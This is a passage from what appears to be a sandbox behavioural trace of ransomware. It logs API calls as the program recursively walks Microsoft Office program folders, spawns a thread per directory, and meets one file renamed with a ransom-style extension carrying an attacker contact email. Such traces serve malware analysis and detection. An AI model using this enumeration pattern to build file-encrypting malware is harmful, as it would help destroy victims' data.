lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0142.735] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0142.735] FindClose (in: hFindFile=0x8da4d0 | out: hFindFile=0x8da4d0) returned 1 [0145.488] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906908) returned 1 [0145.488] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 [0145.488] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 Thread: id = 1675 os_tid = 0x478 [0139.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8fee28 [0139.803] wcscpy (in: _Dest=0x8fee28, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0139.803] wcscat (in: _Dest=0x8fee28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0139.803] wcscat (in: _Dest=0x8fee28, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\*" [0139.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0139.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.267] wcscmp (_String1=".", _String2=".") returned 0 [0140.267] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.267] wcscmp (_String1="..", _String2=".") returned 1 [0140.267] wcscmp (_String1="..", _String2="..") returned 0 [0140.267] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0140.267] wcscmp (_String1="CAGCAT10", _String2=".") returned 1 [0140.267] wcscmp (_String1="CAGCAT10", _String2="..") returned 1 [0140.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0f78 [0140.267] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0140.267] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0140.267] wcscat (in: _Dest=0x8f0f78, _Source="CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0140.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0140.268] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3cd6fa0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3cd6fa0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0140.268] wcscmp (_String1="OFFICE14", _String2=".") returned 1 [0140.268] wcscmp (_String1="OFFICE14", _String2="..") returned 1 [0140.269] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1598 [0140.269] wcscpy (in: _Dest=0x8f1598, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0140.269] wcscat (in: _Dest=0x8f1598, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0140.269] wcscat (in: _Dest=0x8f1598, _Source="OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0140.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0140.269] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3cd6fa0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3cd6fa0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0140.270] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.270] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0140.270] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fee28) returned 1 [0140.270] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3f50) returned 1 Thread: id = 1676 os_tid = 0x594 [0139.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8eaaa0 [0139.803] wcscpy (in: _Dest=0x8eaaa0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0139.804] wcscat (in: _Dest=0x8eaaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0139.804] wcscat (in: _Dest=0x8eaaa0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\*" [0139.804] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906dd8 [0139.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa46cebc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa46cebc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b50 [0139.804] wcscmp (_String1=".", _String2=".") returned 0 [0139.804] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa46cebc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa46cebc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.622] wcscmp (_String1="..", _String2=".") returned 1 [0140.622] wcscmp (_String1="..", _String2="..") returned 0 [0140.622] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0140.622] wcscmp (_String1="1033", _String2=".") returned 1 [0140.623] wcscmp (_String1="1033", _String2="..") returned 1 [0140.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ee20 [0140.623] wcscpy (in: _Dest=0x90ee20, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.623] wcscat (in: _Dest=0x90ee20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.623] wcscat (in: _Dest=0x90ee20, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0140.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ee20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0140.954] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0140.954] wcscmp (_String1="1036", _String2=".") returned 1 [0140.954] wcscmp (_String1="1036", _String2="..") returned 1 [0140.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ee88 [0140.954] wcscpy (in: _Dest=0x90ee88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.954] wcscat (in: _Dest=0x90ee88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.954] wcscat (in: _Dest=0x90ee88, _Source="1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0140.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ee88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0140.956] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0140.956] wcscmp (_String1="3082", _String2=".") returned 1 [0140.956] wcscmp (_String1="3082", _String2="..") returned 1 [0140.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90f028 [0140.956] wcscpy (in: _Dest=0x90f028, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.956] wcscat (in: _Dest=0x90f028, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.956] wcscat (in: _Dest=0x90f028, _Source="3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0140.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90f028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0140.957] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0140.957] wcscmp (_String1="ACCDDS.DLL", _String2=".") returned 1 [0140.957] wcscmp (_String1="ACCDDS.DLL", _String2="..") returned 1 [0140.957] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0140.957] wcscmp (_String1="ACCDDSF.DLL", _String2=".") returned 1 [0140.957] wcscmp (_String1="ACCDDSF.DLL", _String2="..") returned 1 [0140.957] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0140.957] wcscmp (_String1="ACCDDSLM.DLL", _String2=".") returned 1 [0140.957] wcscmp (_String1="ACCDDSLM.DLL", _String2="..") returned 1 [0140.957] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0140.957] wcscmp (_String1="AccessWeb", _String2=".") returned 1 [0140.958] wcscmp (_String1="AccessWeb", _String2="..") returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8968 [0140.958] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.958] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.958] wcscat (in: _Dest=0x8e8968, _Source="AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0140.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0140.959] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0140.959] wcscmp (_String1="ACCICONS.EXE", _String2=".") returned 1 [0140.959] wcscmp (_String1="ACCICONS.EXE", _String2="..") returned 1 [0140.959] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0140.959] wcscmp (_String1="ACCVDT.DLL", _String2=".") returned 1 [0140.959] wcscmp (_String1="ACCVDT.DLL", _String2="..") returned 1 [0140.959] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0140.959] wcscmp (_String1="ACCWIZ", _String2=".") returned 1 [0140.959] wcscmp (_String1="ACCWIZ", _String2="..") returned 1 [0140.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1758 [0140.959] wcscpy (in: _Dest=0x8f1758, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.959] wcscat (in: _Dest=0x8f1758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.959] wcscat (in: _Dest=0x8f1758, _Source="ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0140.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0140.961] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0140.961] wcscmp (_String1="ACCWIZ.DLL", _String2=".") returned 1 [0140.961] wcscmp (_String1="ACCWIZ.DLL", _String2="..") returned 1 [0140.961] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0140.961] wcscmp (_String1="ACEDAO.DLL", _String2=".") returned 1 [0140.961] wcscmp (_String1="ACEDAO.DLL", _String2="..") returned 1 [0140.961] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0140.961] wcscmp (_String1="ADDINS", _String2=".") returned 1 [0140.961] wcscmp (_String1="ADDINS", _String2="..") returned 1 [0140.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1988 [0140.961] wcscpy (in: _Dest=0x8f1988, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.961] wcscat (in: _Dest=0x8f1988, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.961] wcscat (in: _Dest=0x8f1988, _Source="ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0140.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0140.962] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0140.962] wcscmp (_String1="ADVCMP.DIC", _String2=".") returned 1 [0140.962] wcscmp (_String1="ADVCMP.DIC", _String2="..") returned 1 [0140.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8bc0 [0140.963] wcscpy (in: _Dest=0x8e8bc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.963] wcscat (in: _Dest=0x8e8bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.963] wcscat (in: _Dest=0x8e8bc0, _Source="ADVCMP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" [0140.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0140.964] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a211b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ADVTEL~1.CD4")) returned 1 [0140.964] wcscmp (_String1="ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.964] wcscmp (_String1="ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.964] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0140.964] wcscmp (_String1="ADVZIP.DIC", _String2=".") returned 1 [0140.964] wcscmp (_String1="ADVZIP.DIC", _String2="..") returned 1 [0140.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x972848 [0140.964] wcscpy (in: _Dest=0x972848, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft 